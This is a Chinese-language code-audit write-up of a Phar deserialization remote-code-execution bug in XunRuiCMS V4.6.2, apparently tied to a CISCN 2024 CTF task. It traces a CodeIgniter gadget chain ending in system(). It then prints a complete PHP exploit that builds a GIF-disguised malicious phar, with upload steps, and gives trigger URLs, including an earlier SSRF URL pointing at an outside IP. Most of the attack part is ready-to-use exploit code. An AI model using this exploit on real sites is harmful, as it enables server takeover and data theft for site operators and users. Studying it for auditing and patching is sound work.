【代码审计】迅睿CMS V4.6.2 Phar反序列化 RCE
24年国赛初赛出过迅睿
【Web】CISCN 2024初赛 题解(全)
当时是打一个SSRF
?s=api&c=api&m=qrcode&text=xxx&size=1024&level=1&thumb=http://124.222.136.33:1338/302.php
但该版本已修了,禁用了http(s)协议

存在getimagesize,可以触发phar反序列化
只要找到个链子,再随便找个文件上传点就能拿下了
比如上传头像

接下来看链子的逻辑



这是一个事件触发器方法,用于按顺序执行指定事件的所有回调函数并传递处理数据
注意只能调本类的方法

选用本类的validate方法

找一个符合传参格式的run

后面会调用processRules

看下processRules实现
将$rule的值设为system,$value的值设为calc即RCE

目标已知后,回头再来看
先来看$rule从何来
首先BaseModel.validate先调用getValidationRules()

$rules为本类的validationRules属性
接下来调用validation对象的loadRuleGroup方法

$this->config->validationRules作为setRules的参数

setRules会进行一些预处理,类似“套一层壳”
如,当$rule直接为字符串时,则会转成一个以'rules'为键的数组,数组的值为split后的$rule
举例:
$rules = ['test' => 'system'];
// 转换为:
['test' => ['rules' => ['system']]]

接下来令cleanValidationRules为false,过掉if
再次走入setRules,对规范化后的$rules无影响

最后带着DBGroup走入run

DBGroup的值被赋给$data['DBGroup']

dot_array_search的实现其实就是从$data数组中去查询$field字段对应的值
而$data['DBGroup']值为传入的$dbGroup
所以只要令$field为DBGroup即可使$value可控

回头看,$rules实际上就是“脱了setRules套的壳”

走到最后,$value和$rules都是我们可控的

$rule为$rules数组键值对的值
最终任意代码执行

最终exp:
<?php
namespace CodeIgniter\Cache\Handlers {use CodeIgniter\Session\Handlers\MemcachedHandler;class RedisHandler {protected $redis;public function __construct(MemcachedHandler $memcachedHandler) {$this->redis = $memcachedHandler;}}
}namespace CodeIgniter\Session\Handlers {use CodeIgniter\Model;use CodeIgniter\Validation\Validation;class MemcachedHandler {protected $memcached;public $lockKey;public function __construct($lockKey = '123', Model $model = null) {$this->lockKey = $lockKey;$this->memcached = $model ?: new Model(new Validation());}}
}namespace CodeIgniter {use CodeIgniter\Validation\Validation;abstract class BaseModel {}class Model extends BaseModel {public $validation;public $tempAllowCallbacks;public $beforeDelete;public $validationRules;public $cleanValidationRules;public $DBGroup;public function __construct(Validation $validation,$cmd = 'calc') { //这里控制执行的命令$this->validation = $validation;$this->tempAllowCallbacks = true;$this->beforeDelete = ['abc' => 'validate'];$this->validationRules = 'rules';$this->DBGroup = $cmd;$this->cleanValidationRules = false;}}
}namespace CodeIgniter\Validation {class Validation {protected $config;protected $rules = [];protected $ruleSetFiles;public function __construct() {$this->config = $this;$this->rules = ['DBGroup' => 'system'];$this->ruleSetFiles = [0 => 'stdClass'];}}
}namespace {use CodeIgniter\Cache\Handlers\RedisHandler;use CodeIgniter\Session\Handlers\MemcachedHandler;$memcachedHandler = new MemcachedHandler();$redisHandler = new RedisHandler($memcachedHandler);$phar = new Phar("shell.phar"); //生成phar文件$phar->startBuffering();$phar->setStub("GIF89a"." __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($redisHandler);$phar->addFromString("test.txt", "test");$phar->stopBuffering();
}
生成恶意phar

先上传恶意phar

触发phar反序列化
?s=api&c=api&m=qrcode&text=1111&size=10001&level=1&thumb=phar://./uploadfile/member/000/00/00/1.jpg

